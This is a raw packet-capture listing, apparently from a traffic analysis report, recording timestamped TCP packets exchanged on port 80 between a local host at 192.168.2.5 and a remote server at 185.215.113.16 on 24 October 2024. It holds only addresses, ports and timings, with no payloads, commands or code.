Oct 24, 2024 19:29:29.929352999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929368973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929369926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929387093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929398060 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929434061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929435968 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929464102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929480076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929493904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929506063 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929510117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929526091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929548979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929550886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929565907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929578066 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929583073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929598093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929600000 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929619074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929634094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929646969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929649115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929665089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929668903 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929681063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929717064 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929769039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929784060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929800987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929807901 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929820061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929836035 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929852962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929867983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929883003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929898977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929905891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929914951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929928064 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929929972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929949045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929958105 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929986954 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.930015087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.930030107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.930044889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.930061102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.930066109 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.930077076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.930090904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.930100918 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.930108070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.930124044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.930149078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.930171013 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.942574978 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.976438046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.976461887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.976479053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.976515055 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.005532026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005601883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005616903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005631924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005631924 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.005646944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005659103 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.005666018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005683899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005691051 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.005738974 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005754948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005772114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005779982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.005790949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005814075 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.005825996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005836964 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.005841970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005865097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005880117 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.005886078 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005909920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005930901 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.005963087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005978107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.005992889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006007910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006033897 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006038904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006047010 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006056070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006071091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006078005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006087065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006112099 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006237984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006253004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006268978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006282091 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006309032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006328106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006344080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006375074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006390095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006414890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006421089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006437063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006438971 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006452084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006477118 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006668091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006700039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006716013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006731033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006740093 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006747961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006761074 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006788969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006835938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006850958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006875038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006890059 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006899118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006912947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006927967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006947041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.006956100 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.006978989 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.007014036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007028103 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007042885 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007050991 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.007067919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007081032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.007180929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007196903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007210970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007234097 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.007260084 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.007273912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007289886 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007304907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007344007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007359982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.007369041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007380009 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.007385969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007402897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007417917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.007436991 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.007461071 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.008029938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008066893 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008083105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008096933 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008112907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008124113 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.008127928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008148909 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.008162975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008168936 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.008178949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008194923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008210897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008223057 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.008270979 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.008578062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008591890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.008641005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.010720015 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.042617083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042634010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042666912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042682886 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042685032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.042705059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042733908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042753935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.042759895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042776108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042779922 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.042790890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042804956 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.042855978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042870045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042907953 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.042943001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042958021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.042980909 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.042982101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043008089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043021917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043035030 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043037891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043062925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043112040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043124914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043155909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043157101 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043171883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043186903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043196917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043201923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043226957 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043376923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043391943 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043406010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043431044 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043458939 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043504000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043519020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043531895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043556929 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043792963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043807030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043823957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043850899 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043862104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043878078 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043884993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043895006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043911934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043916941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043945074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043958902 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.043968916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043984890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.043998957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044004917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044037104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044050932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044066906 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044080019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044104099 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044183969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044198990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044214964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044229031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044243097 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044264078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044266939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044308901 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044327974 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044341087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044356108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044379950 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044440031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044461012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044477940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044498920 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044523954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044526100 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044575930 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044639111 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.044677019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044692039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044791937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.044830084 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045175076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045190096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045197964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045275927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045281887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045293093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045309067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045322895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045331001 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045358896 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045368910 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045375109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045408964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045416117 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045425892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045464993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045468092 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045480967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045495987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045511007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045526028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045530081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045547962 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045629978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045644045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045658112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045669079 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045675039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045705080 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045711040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045727968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045742989 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045751095 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045763016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045777082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045783997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045793056 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045809984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045835972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045852900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045864105 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045869112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045902967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045917034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045933962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045943022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045952082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045964003 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.045969009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045984983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.045994043 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046017885 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046024084 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046035051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046050072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046066046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046073914 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046092033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046108961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046119928 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046159983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046359062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046374083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046395063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046410084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046425104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046427011 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046442032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046454906 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046458960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046478987 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046591043 CEST	80	49725	185.215.113.16	192.168.2.5
